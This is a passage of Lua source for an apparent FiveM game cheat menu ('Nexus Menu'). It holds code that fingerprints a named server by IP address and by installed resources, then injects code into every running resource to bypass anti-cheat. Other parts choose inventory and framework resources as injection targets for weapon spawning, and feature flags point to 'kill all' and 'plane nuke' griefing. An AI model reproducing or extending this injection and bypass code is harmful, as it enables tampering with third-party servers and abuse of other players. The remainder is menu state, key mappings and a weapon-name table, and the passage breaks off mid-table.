["abc123-def456-ghi789-jkl012"] = true, -- ["xyz789-uvw456-rst123-qpo098"] = true, } -- Function to add a key to the client blacklist dynamically local function addToClientBlacklist(key) if key and type(key) == "string" and key ~= "" then CLIENT_BLACKLISTED_KEYS[key] = true return true end return false end -- Function to check if a key is in the client blacklist local function isKeyClientBlacklisted(key) return CLIENT_BLACKLISTED_KEYS[key] == true end -- Global function to add keys to blacklist (can be called from console) _G.AddToClientBlacklist = addToClientBlacklist _G.IsKeyClientBlacklisted = isKeyClientBlacklisted -- Console usage: AddToClientBlacklist("your-key-here") -- Console usage: print(IsKeyClientBlacklisted("your-key-here")) -- OLD authenticateKey function removed - using the updated one at line 645 that handles encryption -- IP Detection and Injection System local function checkServerIPAndInject() local serverIP = getServerIP() local shouldInject = false local reason = "" -- Check for target IP if serverIP and string.find(serverIP, "91.190.154.74:30120") then shouldInject = true reason = "Soa rp found: " .. serverIP end -- Check for soa_hud resource if GetResourceState("soa_hud") == "started" then shouldInject = true reason = "soa_hud resource detected" end -- Check for fancy_multijob resource if GetResourceState("fancy_multijob") == "started" then shouldInject = true reason = "Streets of Houston detected loading bypasses" end if shouldInject then print(reason) print("loading soa bypass") -- Inject into all resources using MachoInjectResource2 for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res and MachoResourceInjectable(res) then MachoInjectResource2(3, res, '_G.Wait = Citizen.Wait') Wait(0) end end print("Soa bypass loaded successfully") end end -- Execute IP detection and injection -- Execute IP detection and injection in a thread CreateThread(function() checkServerIPAndInject() end) -- Enhanced resource detection with better fallback logic -- vRP is checked first — if it's running, SafeInjectResourceRaw will -- automatically route through MachoInjectResourceScriptOverride. local function GetBestInjectionResource() if GetResourceState("vrp") == "started" then return "vrp" end if GetResourceState("vRP") == "started" then return "vrp" end local resources = { "es_extended", "ox_lib", "qb-core", "qbx_core", "oxmysql", "monitor" } for _, resource in ipairs(resources) do if GetResourceState(resource) == "started" then return resource end end return "any" end local function InjectionResource() return GetBestInjectionResource() end -- Inventory-aware injection resource: prefers ox_inventory, falls back to vrp, then any local function InventoryInjectionResource() -- ox_inventory if GetResourceState("ox_inventory") == "started" then return "ox_inventory" end -- QBCore Inventories if GetResourceState("qb-inventory") == "started" then return "qb-inventory" end if GetResourceState("qb_inventory") == "started" then return "qb_inventory" end -- Quasar Inventory if GetResourceState("qs-inventory") == "started" then return "qs-inventory" end -- CodeM / codem-inventory if GetResourceState("codem-inventory") == "started" then return "codem-inventory" end -- PS-Inventory (Project Sloth) if GetResourceState("ps-inventory") == "started" then return "ps-inventory" end -- ESX Inventories if GetResourceState("esx_inventoryhud") == "started" then return "esx_inventoryhud" end if GetResourceState("inventory") == "started" then return "inventory" end if GetResourceState("tgiann-inventory") == "started" then return "tgiann-inventory" end -- Origen / origen_inventory if GetResourceState("origen_inventory") == "started" then return "origen_inventory" end -- Core Inventory if GetResourceState("core_inventory") == "started" then return "core_inventory" end -- Renewed Inventory if GetResourceState("renewed-inventory") == "started" then return "renewed-inventory" end -- Chezza Inventory if GetResourceState("chezza-inventory") == "started" then return "chezza-inventory" end -- vRP if GetResourceState("vrp") == "started" or GetResourceState("vRP") == "started" then return "vrp" end return "any" end local function SafeInjectResourceRaw(resource, code, featureName) featureName = featureName or "Unknown Feature" if not resource or resource == "" then return false end if not code or code == "" then return false end local targetResource = resource if GetResourceState(targetResource) ~= "started" then local vrpRunning = GetResourceState("vrp") == "started" or GetResourceState("vRP") == "started" if vrpRunning then targetResource = GetResourceState("vrp") == "started" and "vrp" or "vRP" else targetResource = InjectionResource() end end pcall(function() MachoInjectResourceScriptOverride( "NewThreads", targetResource, code, "@citizen:/scripting/lua/scheduler.lua", 500, 600 ) end) return true end local function VehicleInject(code) SafeInjectResourceRaw(InjectionResource(), code, "VehicleInject") end -- Smart inventory injection resource selector with multi-framework support local function InventoryInjectionResource() -- Check for ox_inventory first (highest priority for weapon spawners) if GetResourceState("ox_inventory") == "started" then return 'ox_inventory' -- Check for QB-Core inventory elseif GetResourceState("qb-inventory") == "started" then return 'qb-inventory' elseif GetResourceState("qb-core") == "started" then return 'qb-core' -- Check for ESX inventory systems elseif GetResourceState("es_extended") == "started" then return 'es_extended' elseif GetResourceState("esx_inventory") == "started" then return 'esx_inventory' -- Check for VRP elseif GetResourceState("vrp") == "started" then return 'vrp' -- Check for generic inventory resource elseif GetResourceState("inventory") == "started" then return 'inventory' -- Check for ox_lib elseif GetResourceState("ox_lib") == "started" then return 'ox_lib' -- Check for VBRP elseif GetResourceState("vbrp") == "started" then return 'vbrp' -- Check for other common inventory systems elseif GetResourceState("qs-inventory") == "started" then return 'qs-inventory' elseif GetResourceState("core_inventory") == "started" then return 'core_inventory' else return 'any' end end -- Initialize menu system function -- ======================================================================== -- MENU SYSTEM - MODULAR ARCHITECTURE -- ======================================================================== -- All menu system variables at module level for proper scope management -- This prevents "attempt to call nil" errors and improves maintainability -- ======================================================================== -- Menu System State Variables local MenuSystem = { -- Core DUI and menu state dui = nil, activeMenu = {}, activeIndex = 1, originalMenu = {}, initialized = false, -- Text input system textInput = { active = false, justOpened = false, data = { value = "", question = "", placeholder = "", maxLength = 100, inputType = "general", callback = nil } }, -- Key system state keys = { listenerRegistered = false, shiftPressed = false, ctrlPressed = false, altPressed = false, states = {}, justPressed = {}, holdTime = {}, lastRepeat = {}, repeatCount = {} }, -- Key repeat configuration keyConfig = { REPEAT_INITIAL_DELAY = 550, REPEAT_SLOW_RATE = 140, REPEAT_MEDIUM_RATE = 90, REPEAT_FAST_RATE = 55, ACCELERATION_THRESHOLD_1 = 1300, ACCELERATION_THRESHOLD_2 = 2100, NO_REPEAT_KEYS = { [0x0D] = true, -- Enter [0x2E] = true, -- Delete [0x1B] = true, -- Escape [0x08] = true, -- Backspace [0x51] = true, -- Q Key [0x45] = true, -- E Key } }, -- Player management players = { list = {}, selected = {}, selectedId = nil }, -- Menu state preservation savedState = { activeMenu = nil, activeIndex = 1, nestedMenus = {}, selectedPlayerId = nil }, -- Navigation navigation = { breadcrumbPath = { "Home" }, nestedMenus = {} }, -- Keybind system keybinds = { setupActive = false, targetFeature = nil, custom = {}, waitingForKey = false, selectedControl = nil, keySelectionActive = false, selectedMenuControl = 0x14, -- Caps Lock firstTimeSetup = true, showKeybindList = true, activeKeybinds = {}, keybindListPosition = 'right' }, spectators = { showSpectatorList = false, spectatorListPosition = 'left', activeSpectators = {} }, -- Tab system tabs = { current = nil, currentIndex = 0, stateMap = {}, menuStateMap = {}, isDynamicSubMenu = false, currentSubMenuRefresher = nil, currentTabName = "Main Menu" }, -- UI customization ui = { customBanners = { { name = "Default Banner", link = "https://iili.io/K0WlPlR.png", color = "#e74c3c" }, { name = "Troll banner", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1422973580731351181/BEA24050-5E33-48AB-9AF4-E11F16C56739.jpg?ex=68f3b6eb&is=68f2656b&hm=51a26bca6fda558f5139132e0b18ceb57f9dfe67c7975ec0ff9c63e96522bf23&", color = "#808080" }, { name = "weird ahh banner", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1423103556373971024/image.png?ex=68f38737&is=68f235b7&hm=bb1e0afd11418db22df279875dbd20731ab190af37cca35a83089c661be5154d&", color = "#ffffff" }, { name = "dino", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1423597798569545799/image.jpg?ex=68f35944&is=68f207c4&hm=85e3e9868cc30c7cb22205658d39da9a1d676407ffb9054ca580bae4c70bdf87&", color = "#000000" } }, currentBannerIndex = 1, bannerSpacing = 5 }, -- Feature state features = { isKillingActive = false, resourceId = "killall_" .. math.random(100000, 999999), noclipSpeed = 3.5, isPlaneNukeActive = false, planeNukeModel = "BOMBUSHKA", isBusy = false } } -- ======================================================================== -- BACKWARD COMPATIBILITY ALIASES -- These maintain compatibility with existing code while using new structure -- ======================================================================== local dui, activeMenu, activeIndex, originalMenu local textInputActive, textInputJustOpened, textInputData local keyListenerRegistered, shiftPressed, ctrlPressed, altPressed local keyStates, keyJustPressed, keyHoldTime, keyLastRepeat, keyRepeatCount local KEY_REPEAT_INITIAL_DELAY, KEY_REPEAT_SLOW_RATE, KEY_REPEAT_MEDIUM_RATE, KEY_REPEAT_FAST_RATE local KEY_REPEAT_ACCELERATION_THRESHOLD_1, KEY_REPEAT_ACCELERATION_THRESHOLD_2, NO_REPEAT_KEYS local playerList, selectedPlayers, selectedPlayerId local menuInitialized, savedMenuState, breadcrumbPath, nestedMenus local keySelectionActive, selectedMenuControl, firstTimeSetup local keybindSetupActive, keybindTargetFeature, customKeybinds, keybindWaitingForKey, keybindSelectedControl local showKeybindList, activeKeybinds local currentTabs, currentTabIndex, tabStateMap, menuStateMap local isDynamicSubMenu, currentSubMenuRefresher, isBusy, currentTabName local customBanners, currentBannerIndex, bannerSpacing local isKillingActive, resourceId, noclipSpeed, isPlaneNukeActive, planeNukeModel local FirstInjectionPassed = false -- ======================================================================== -- SAFE HELPER FUNCTIONS -- ======================================================================== -- Safe callback execution with error handling local function SafeCallback(callback, ...) if type(callback) ~= "function" then return false end local success, err = pcall(callback, ...) if not success then -- Silently handle callback errors return false end return true end -- Safe DUI message sending local function SafeSendDuiMessage(action, data) if not dui then return false end local messageData = data or {} messageData.action = action local success, encoded = pcall(json.encode, messageData) if not success then return false end local sendSuccess, sendErr = pcall(MachoSendDuiMessage, dui, encoded) if not sendSuccess then return false end return true end function SmartInvoke(func, ...) if type(func) ~= "function" then return nil end return func(...) end -- Validate menu data structure local function ValidateMenuData(data) if not data then return false, "Menu data is nil" end if not data.label then return false, "Menu item missing label" end if not data.type then return false, "Menu item missing type" end -- Type-specific validation if data.type == 'scroll' and not data.options then return false, "Scroll menu missing options" end if data.type == 'slider' and (not data.min or not data.max) then return false, "Slider menu missing min/max values" end return true, nil end -- Global error boundary for menu system local function MenuErrorBoundary(func, ...) local success, err = pcall(func, ...) if not success then print("^1[Nexus Menu] CRITICAL ERROR: " .. tostring(err) .. "^0") print("^3[Nexus Menu] Menu system may be unstable, consider reloading^0") return false end return true end -- ======================================================================== -- MAIN INITIALIZATION FUNCTION -- ======================================================================== function initializeMenuSystem() -- Prevent double initialization if MenuSystem.initialized then return end -- Initialize all local variables from MenuSystem dui = MenuSystem.dui activeMenu = MenuSystem.activeMenu activeIndex = MenuSystem.activeIndex originalMenu = MenuSystem.originalMenu textInputActive = MenuSystem.textInput.active textInputJustOpened = MenuSystem.textInput.justOpened textInputData = MenuSystem.textInput.data keyListenerRegistered = MenuSystem.keys.listenerRegistered shiftPressed = MenuSystem.keys.shiftPressed ctrlPressed = MenuSystem.keys.ctrlPressed altPressed = MenuSystem.keys.altPressed keyStates = MenuSystem.keys.states keyJustPressed = MenuSystem.keys.justPressed keyHoldTime = MenuSystem.keys.holdTime keyLastRepeat = MenuSystem.keys.lastRepeat keyRepeatCount = MenuSystem.keys.repeatCount KEY_REPEAT_INITIAL_DELAY = MenuSystem.keyConfig.REPEAT_INITIAL_DELAY KEY_REPEAT_SLOW_RATE = MenuSystem.keyConfig.REPEAT_SLOW_RATE KEY_REPEAT_MEDIUM_RATE = MenuSystem.keyConfig.REPEAT_MEDIUM_RATE KEY_REPEAT_FAST_RATE = MenuSystem.keyConfig.REPEAT_FAST_RATE KEY_REPEAT_ACCELERATION_THRESHOLD_1 = MenuSystem.keyConfig.ACCELERATION_THRESHOLD_1 KEY_REPEAT_ACCELERATION_THRESHOLD_2 = MenuSystem.keyConfig.ACCELERATION_THRESHOLD_2 NO_REPEAT_KEYS = MenuSystem.keyConfig.NO_REPEAT_KEYS playerList = MenuSystem.players.list selectedPlayers = MenuSystem.players.selected selectedPlayerId = MenuSystem.players.selectedId menuInitialized = MenuSystem.initialized savedMenuState = MenuSystem.savedState breadcrumbPath = MenuSystem.navigation.breadcrumbPath nestedMenus = MenuSystem.navigation.nestedMenus keySelectionActive = MenuSystem.keybinds.keySelectionActive selectedMenuControl = MenuSystem.keybinds.selectedMenuControl firstTimeSetup = MenuSystem.keybinds.firstTimeSetup keybindSetupActive = MenuSystem.keybinds.setupActive keybindTargetFeature = MenuSystem.keybinds.targetFeature customKeybinds = MenuSystem.keybinds.custom keybindWaitingForKey = MenuSystem.keybinds.waitingForKey keybindSelectedControl = MenuSystem.keybinds.selectedControl showKeybindList = MenuSystem.keybinds.showKeybindList activeKeybinds = MenuSystem.keybinds.activeKeybinds keybindListPosition = MenuSystem.keybinds.keybindListPosition or 'right' showSpectatorList = MenuSystem.spectators.showSpectatorList spectatorListPosition = MenuSystem.spectators.spectatorListPosition or 'left' currentTabs = MenuSystem.tabs.current currentTabIndex = MenuSystem.tabs.currentIndex tabStateMap = MenuSystem.tabs.stateMap menuStateMap = MenuSystem.tabs.menuStateMap isDynamicSubMenu = MenuSystem.tabs.isDynamicSubMenu currentSubMenuRefresher = MenuSystem.tabs.currentSubMenuRefresher currentTabName = MenuSystem.tabs.currentTabName customBanners = MenuSystem.ui.customBanners currentBannerIndex = MenuSystem.ui.currentBannerIndex bannerSpacing = MenuSystem.ui.bannerSpacing isKillingActive = MenuSystem.features.isKillingActive resourceId = MenuSystem.features.resourceId noclipSpeed = MenuSystem.features.noclipSpeed isPlaneNukeActive = MenuSystem.features.isPlaneNukeActive planeNukeModel = MenuSystem.features.planeNukeModel isBusy = MenuSystem.features.isBusy -- Mark as initialized MenuSystem.initialized = true menuInitialized = true -- ===================== WINDOWS VIRTUAL KEY MAPPING ===================== local KeyMap = { -- Letters [0x41] = "a", [0x42] = "b", [0x43] = "c", [0x44] = "d", [0x45] = "e", [0x46] = "f", [0x47] = "g", [0x48] = "h", [0x49] = "i", [0x4A] = "j", [0x4B] = "k", [0x4C] = "l", [0x4D] = "m", [0x4E] = "n", [0x4F] = "o", [0x50] = "p", [0x51] = "q", [0x52] = "r", [0x53] = "s", [0x54] = "t", [0x55] = "u", [0x56] = "v", [0x57] = "w", [0x58] = "x", [0x59] = "y", [0x5A] = "z", -- Numbers top row [0x30] = "0", [0x31] = "1", [0x32] = "2", [0x33] = "3", [0x34] = "4", [0x35] = "5", [0x36] = "6", [0x37] = "7", [0x38] = "8", [0x39] = "9", -- Numpad Keys [0x60] = "0", [0x61] = "1", [0x62] = "2", [0x63] = "3", [0x64] = "4", [0x65] = "5", [0x66] = "6", [0x67] = "7", [0x68] = "8", [0x69] = "9", [0x6A] = "*", [0x6B] = "+", [0x6D] = "-", [0x6E] = ".", [0x6F] = "/", -- Special characters [0x20] = " ", -- Space [0xBA] = ";", -- Semicolon [0xBB] = "=", -- Equals [0xBC] = ",", -- Comma [0xBD] = "-", -- Minus [0xBE] = ".", -- Period [0xBF] = "/", -- Forward slash [0xC0] = "`", -- Grave accent [0xDB] = "[", -- Left bracket [0xDC] = "\\", -- Backslash [0xDD] = "]", -- Right bracket [0xDE] = "'", -- Apostrophe } -- Control key codes local ControlKeys = { [0x08] = "Backspace", [0x09] = "Tab", [0x0D] = "Enter", [0x1B] = "Escape", [0x10] = "Shift", [0x11] = "Control", [0x12] = "Alt", [0x14] = "Caps Lock", [0x20] = "Space", [0x2D] = "Insert", [0x2E] = "Delete", [0x23] = "End", [0x24] = "Home", [0x21] = "Page Up", [0x22] = "Page Down", [0x25] = "Left Arrow", [0x26] = "Up Arrow", [0x27] = "Right Arrow", [0x28] = "Down Arrow", [0x70] = "F1", [0x71] = "F2", [0x72] = "F3", [0x73] = "F4", [0x74] = "F5", [0x75] = "F6", [0x76] = "F7", [0x77] = "F8", [0x78] = "F9", [0x79] = "F10", [0x7A] = "F11", [0x7B] = "F12", [0xC0] = "Backtick", [0xBA] = "Semicolon", [0xBB] = "Equals", [0xBC] = "Comma", [0xBD] = "Minus", [0xBE] = "Period", [0xBF] = "Slash", [0xDB] = "Left Bracket", [0xDC] = "Backslash", [0xDD] = "Right Bracket", [0xDE] = "Apostrophe" } -- Control mapping for FiveM local ControlMap = { [11] = "Page Down", [44] = "Q Key", [38] = "E Key", [23] = "F Key", [75] = "F2 Key", [121] = "Insert Key", [178] = "Delete Key", [213] = "Home Key", [214] = "End Key", [96] = "Left Ctrl", [97] = "Left Alt", [21] = "Left Shift", [19] = "R Key", [245] = "T Key", [246] = "Y Key", [303] = "U Key", -- Custom mappings for letters (A-Z) [1000] = "A Key", [1001] = "B Key", [1002] = "C Key", [1003] = "D Key", [1004] = "E Key", [1005] = "F Key", [1006] = "G Key", [1007] = "H Key", [1008] = "I Key", [1009] = "J Key", [1010] = "K Key", [1011] = "L Key", [1012] = "M Key", [1013] = "N Key", [1014] = "O Key", [1015] = "P Key", [1016] = "Q Key", [1017] = "R Key", [1018] = "S Key", [1019] = "T Key", [1020] = "U Key", [1021] = "V Key", [1022] = "W Key", [1023] = "X Key", [1024] = "Y Key", [1025] = "Z Key", -- Custom mappings for numbers (0-9) [2000] = "0 Key", [2001] = "1 Key", [2002] = "2 Key", [2003] = "3 Key", [2004] = "4 Key", [2005] = "5 Key", [2006] = "6 Key", [2007] = "7 Key", [2008] = "8 Key", [2009] = "9 Key", -- Custom mappings for function keys (F1-F12) [3000] = "F1 Key", [3001] = "F2 Key", [3002] = "F3 Key", [3003] = "F4 Key", [3004] = "F5 Key", [3005] = "F6 Key", [3006] = "F7 Key", [3007] = "F8 Key", [3008] = "F9 Key", [3009] = "F10 Key", [3010] = "F11 Key", [3011] = "F12 Key", -- Custom mappings for special keys [4000] = "Caps Lock", [4001] = "Tab Key", [4002] = "Space Key", [4003] = "Backtick Key", [4004] = "Semicolon Key", [4005] = "Equals Key", [4006] = "Comma Key", [4007] = "Minus Key", [4008] = "Period Key", [4009] = "Slash Key", [4010] = "Left Bracket Key", [4011] = "Backslash Key", [4012] = "Right Bracket Key", [4013] = "Apostrophe Key", [4014] = "Enter Key" } -- Add custom letter mappings for i = 0, 25 do ControlMap[1000 + i] = string.char(65 + i) .. " Key" end -- Add custom number mappings for i = 0, 9 do ControlMap[2000 + i] = tostring(i) .. " Key" end -- Add custom function key mappings for i = 0, 11 do ControlMap[3000 + i] = "F" .. tostring(i + 1) .. " Key" end -- FIXED: Shift mappings for characters with explicit underscore handling local ShiftMap = { ["1"] = "!", ["2"] = "@", ["3"] = "#", ["4"] = "$", ["5"] = "%", ["6"] = "^", ["7"] = "&", ["8"] = "*", ["9"] = "(", ["0"] = ")", [";"] = ":", ["="] = "+", [","] = "<", ["-"] = "_", ["."] = ">", ["/"] = "?", ["`"] = "~", ["["] = "{", ["\\"] = "|", ["]"] = "}", ["'"] = "\"" } -- Virtual key codes for special keys local VirtualKeys = { [0x2D] = "Insert", [0x2E] = "Delete", [0x23] = "End", [0x24] = "Home", [0x21] = "Page Up", [0x22] = "Page Down", [0x25] = "Left Arrow", [0x26] = "Up Arrow", [0x27] = "Right Arrow", [0x28] = "Down Arrow" } -- ===================== RESOURCE STOPPER FUNCTIONS ===================== -- Function to get all server resources local function getAllServerResources() -- Add delay to prevent immediate detection Wait(100) local resources = {} local resourceCount = GetNumResources() for i = 0, resourceCount - 1 do local resourceName = GetResourceByFindIndex(i) if resourceName then table.insert(resources, { name = resourceName, state = GetResourceState(resourceName) }) end end -- Sort resources alphabetically (wrapped to prevent yield errors) local success, error = pcall(function() -- Create a simple comparison function that doesn't call natives table.sort(resources, function(a, b) if not a or not b or not a.name or not b.name then return false end return string.lower(a.name) < string.lower(b.name) end) end) if not success then print("^1[WARNING]: Failed to sort server resources: " .. tostring(error)) -- If sorting fails, just return unsorted resources return resources or {} end return resources or {} end _G.spectateSystem = _G.spectateSystem or { enabled = false, targetServerId = nil, originalCoords = nil, originalHeading = nil, wasVisible = nil } -- Add this function near the top of your Lua file local function getWeaponName(weaponHash) local weaponNames = { -- MELEE WEAPONS [GetHashKey("WEAPON_UNARMED")] = "Unarmed", [GetHashKey("WEAPON_KNIFE")] = "Knife", [GetHashKey("WEAPON_NIGHTSTICK")] = "Nightstick", [GetHashKey("WEAPON_HAMMER")] = "Hammer", [GetHashKey("WEAPON_BAT")] = "Baseball Bat", [GetHashKey("WEAPON_GOLFCLUB")] = "Golf Club", [GetHashKey("WEAPON_CROWBAR")] = "Crowbar", [GetHashKey("WEAPON_BOTTLE")] = "Bottle", [GetHashKey("WEAPON_DAGGER")] = "Dagger", [GetHashKey("WEAPON_HATCHET")] = "Hatchet", [GetHashKey("WEAPON_KNUCKLE")] = "Brass Knuckles", [GetHashKey("WEAPON_MACHETE")] = "Machete", [GetHashKey("WEAPON_FLASHLIGHT")] = "Flashlight", [GetHashKey("WEAPON_SWITCHBLADE")] = "Switchblade", [GetHashKey("WEAPON_POOLCUE")] = "Pool Cue", [GetHashKey("WEAPON_WRENCH")] = "Wrench", [GetHashKey("WEAPON_BATTLEAXE")] = "Battle Axe", [GetHashKey("WEAPON_STONE_HATCHET")] = "Stone Hatchet", [GetHashKey("WEAPON_CANDYCANE")] = "Candy Cane", -- HANDGUNS [GetHashKey("WEAPON_PISTOL")] = "Pistol", [GetHashKey("WEAPON_PISTOL_MK2")] = "Pistol Mk II", [GetHashKey("WEAPON_COMBATPISTOL")] = "Combat Pistol", [GetHashKey("WEAPON_APPISTOL")] = "AP Pistol", [GetHashKey("WEAPON_STUNGUN")] = "Stun Gun", [GetHashKey("WEAPON_STUNGUN_MP")] = "Stun Gun (MP)", [GetHashKey("WEAPON_PISTOL50")] = "Pistol .50", [GetHashKey("WEAPON_SNSPISTOL")] = "SNS Pistol", [GetHashKey("WEAPON_SNSPISTOL_MK2")] = "SNS Pistol Mk II", [GetHashKey("WEAPON_HEAVYPISTOL")] = "Heavy Pistol", [GetHashKey("WEAPON_VINTAGEPISTOL")] = "Vintage Pistol", [GetHashKey("WEAPON_FLAREGUN")] = "Flare Gun", [GetHashKey("WEAPON_MARKSMANPISTOL")] = "Marksman Pistol", [GetHashKey("WEAPON_REVOLVER")] = "Heavy Revolver", [GetHashKey("WEAPON_REVOLVER_MK2")] = "Heavy Revolver Mk II", [GetHashKey("WEAPON_DOUBLEACTION")] = "Double Action Revolver", [GetHashKey("WEAPON_RAYPISTOL")] = "Up-n-Atomizer", [GetHashKey("WEAPON_CERAMICPISTOL")] = "Ceramic Pistol", [GetHashKey("WEAPON_NAVYREVOLVER")] = "Navy Revolver", [GetHashKey("WEAPON_GADGETPISTOL")] = "Perico Pistol", [GetHashKey("WEAPON_PISTOLXM3")] = "WM 29 Pistol", -- SUBMACHINE GUNS [GetHashKey("WEAPON_MICROSMG")] = "Micro SMG", [GetHashKey("WEAPON_SMG")] = "SMG", [GetHashKey("WEAPON_SMG_MK2")] = "SMG Mk II", [GetHashKey("WEAPON_ASSAULTSMG")] = "Assault SMG", [GetHashKey("WEAPON_COMBATPDW")] = "Combat PDW", [GetHashKey("WEAPON_MACHINEPISTOL")] = "Machine Pistol", [GetHashKey("WEAPON_MINISMG")] = "Mini SMG", [GetHashKey("WEAPON_RAYCARBINE")] = "Unholy Hellbringer", [GetHashKey("WEAPON_TECPISTOL")] = "Tactical SMG", -- SHOTGUNS [GetHashKey("WEAPON_PUMPSHOTGUN")] = "Pump Shotgun", [GetHashKey("WEAPON_PUMPSHOTGUN_MK2")] = "Pump Shotgun Mk II", [GetHashKey("WEAPON_SAWNOFFSHOTGUN")] = "Sawed-Off Shotgun", [GetHashKey("WEAPON_ASSAULTSHOTGUN")] = "Assault Shotgun", [GetHashKey("WEAPON_BULLPUPSHOTGUN")] = "Bullpup Shotgun", [GetHashKey("WEAPON_MUSKET")] = "Musket", [GetHashKey("WEAPON_HEAVYSHOTGUN")] = "Heavy Shotgun", [GetHashKey("WEAPON_DBSHOTGUN")] = "Double Barrel Shotgun", [GetHashKey("WEAPON_AUTOSHOTGUN")] = "Sweeper Shotgun", [GetHashKey("WEAPON_COMBATSHOTGUN")] = "Combat Shotgun", -- ASSAULT RIFLES [GetHashKey("WEAPON_ASSAULTRIFLE")] = "Assault Rifle", [GetHashKey("WEAPON_ASSAULTRIFLE_MK2")] = "Assault Rifle Mk II", [GetHashKey("WEAPON_CARBINERIFLE")] = "Carbine Rifle", [GetHashKey("WEAPON_CARBINERIFLE_MK2")] = "Carbine Rifle Mk II", [GetHashKey("WEAPON_ADVANCEDRIFLE")] = "Advanced Rifle", [GetHashKey("WEAPON_SPECIALCARBINE")] = "Special Carbine", [GetHashKey("WEAPON_SPECIALCARBINE_MK2")] = "Special Carbine Mk II", [GetHashKey("WEAPON_BULLPUPRIFLE")] = "Bullpup Rifle", [GetHashKey("WEAPON_BULLPUPRIFLE_MK2")] = "Bullpup Rifle Mk II", [GetHashKey("WEAPON_COMPACTRIFLE")] = "Compact Rifle", [GetHashKey("WEAPON_MILITARYRIFLE")] = "Military Rifle", [GetHashKey("WEAPON_HEAVYRIFLE")] = "Heavy Rifle", [GetHashKey("WEAPON_TACTICALRIFLE")] = "Service Carbine", [GetHashKey("WEAPON_BATTLERIFLE")] = "Battle Rifle", -- LIGHT MACHINE GUNS [GetHashKey("WEAPON_MG")] = "MG", [GetHashKey("WEAPON_COMBATMG")] = "Combat MG", [GetHashKey("WEAPON_COMBATMG_MK2")] = "Combat MG Mk II", [GetHashKey("WEAPON_GUSENBERG")] = "Gusenberg Sweeper", -- SNIPER RIFLES [GetHashKey("WEAPON_SNIPERRIFLE")] = "Sniper Rifle", [GetHashKey("WEAPON_HEAVYSNIPER")] = "Heavy Sniper", [GetHashKey("WEAPON_HEAVYSNIPER_MK2")] = "Heavy Sniper Mk II", [GetHashKey("WEAPON_MARKSMANRIFLE")] = "Marksman Rifle", [GetHashKey("WEAPON_MARKSMANRIFLE_MK2")] = "Marksman Rifle Mk II", [GetHashKey("WEAPON_PRECISIONRIFLE")] = "Precision Rifle", -- HEAVY WEAPONS [GetHashKey("WEAPON_RPG")] = "RPG", [GetHashKey("WEAPON_GRENADELAUNCHER")] = "Grenade Launcher", [GetHashKey("WEAPON_GRENADELAUNCHER_SMOKE")] = "Smoke Grenade Launcher", [GetHashKey("WEAPON_MINIGUN")] = "Minigun", [GetHashKey("WEAPON_FIREWORK")] = "Firework Launcher", [GetHashKey("WEAPON_RAILGUN")] = "Railgun", [GetHashKey("WEAPON_RAILGUNXM3")] = "Railgun XM3", [GetHashKey("WEAPON_HOMINGLAUNCHER")] = "Homing Launcher", [GetHashKey("WEAPON_COMPACTLAUNCHER")] = "Compact Grenade Launcher", [GetHashKey("WEAPON_RAYMINIGUN")] = "Widowmaker", [GetHashKey("WEAPON_EMPLAUNCHER")] = "Compact EMP Launcher", [GetHashKey("WEAPON_COMPACTEMP")] = "Compact EMP Launcher", -- THROWABLES [GetHashKey("WEAPON_GRENADE")] = "Grenade", [GetHashKey("WEAPON_BZGAS")] = "BZ Gas", [GetHashKey("WEAPON_MOLOTOV")] = "Molotov Cocktail", [GetHashKey("WEAPON_STICKYBOMB")] = "Sticky Bomb", [GetHashKey("WEAPON_PROXMINE")] = "Proximity Mine", [GetHashKey("WEAPON_SNOWBALL")] = "Snowball", [GetHashKey("WEAPON_PIPEBOMB")] = "Pipe Bomb", [GetHashKey("WEAPON_BALL")] = "Baseball", [GetHashKey("WEAPON_SMOKEGRENADE")] = "Tear Gas", [GetHashKey("WEAPON_FLARE")] = "Flare", -- MISCELLANEOUS [GetHashKey("WEAPON_PETROLCAN")] = "Jerry Can", [GetHashKey("WEAPON_FIREEXTINGUISHER")] = "Fire Extinguisher", [GetHashKey("WEAPON_HAZARDCAN")] = "Hazardous Jerry Can", [GetHashKey("WEAPON_FERTILIZERCAN")] = "Fertilizer Can", -- SPECIAL/DLC WEAPONS [GetHashKey("WEAPON_RAYMG")] = "Unholy Hellbringer", [GetHashKey("WEAPON_RAYSHOTGUN")] = "Scorcher", [GetHashKey("WEAPON_PERFORATOR")] = "Perforator", -- ANIMAL/VEHICLE WEAPONS [GetHashKey("WEAPON_RUN_OVER_BY_CAR")] = "Run Over by Car", [GetHashKey("WEAPON_RAMMED_BY_CAR")] = "Rammed by Car", [GetHashKey("WEAPON_EXPLOSION")] = "Explosion", [GetHashKey("WEAPON_FALL")] = "Fall Damage", [GetHashKey("WEAPON_DROWNING")] = "Drowning", [GetHashKey("WEAPON_DROWNING_IN_VEHICLE")] = "Drowning in Vehicle", [GetHashKey("WEAPON_BARBED_WIRE")] = "Barbed Wire", [GetHashKey("WEAPON_FIRE")] = "Fire", [GetHashKey("WEAPON_HELI_CRASH")] = "Helicopter Crash", [GetHashKey("WEAPON_BLEEDING")] = "Bleeding", [GetHashKey("WEAPON_ELECTRIC_FENCE")] = "Electric Fence", [GetHashKey("WEAPON_EXHAUSTION")] = "Exhaustion", [GetHashKey("WEAPON_ANIMAL")] = "Animal", [GetHashKey("WEAPON_COUGAR")] = "Cougar", [GetHashKey("WEAPON_BIRD_CRAP")] = "Bird Crap", -- VEHICLE WEAPONS [GetHashKey("VEHICLE_WEAPON_ROTORS")] = "Vehicle Rotors", [GetHashKey("VEHICLE_WEAPON_TANK")] = "Vehicle Tank", [GetHashKey("VEHICLE_WEAPON_SPACE_ROCKET")] = "Vehicle Space Rocket", [GetHashKey("VEHICLE_WEAPON_PLANE_ROCKET")] = "Vehicle Plane Rocket", [GetHashKey("VEHICLE_WEAPON_PLAYER_LAZER")] = "Vehicle Player Lazer", [GetHashKey("VEHICLE_WEAPON_PLAYER_BUZZARD")] = "Vehicle Player Buzzard", [GetHashKey("VEHICLE_WEAPON_PLAYER_HUNTER")] = "Vehicle Player Hunter", [GetHashKey("VEHICLE_WEAPON_ENEMY_LASER")] = "Vehicle Enemy Laser", [GetHashKey("VEHICLE_WEAPON_SEARCHLIGHT")] = "Vehicle Searchlight", [GetHashKey("VEHICLE_WEAPON_RADAR")] = "Vehicle Radar", [GetHashKey("VEHICLE_WEAPON_WATER_CANNON")] = "Vehicle Water Cannon", [GetHashKey("VEHICLE_WEAPON_TURRET_INSURGENT")] = 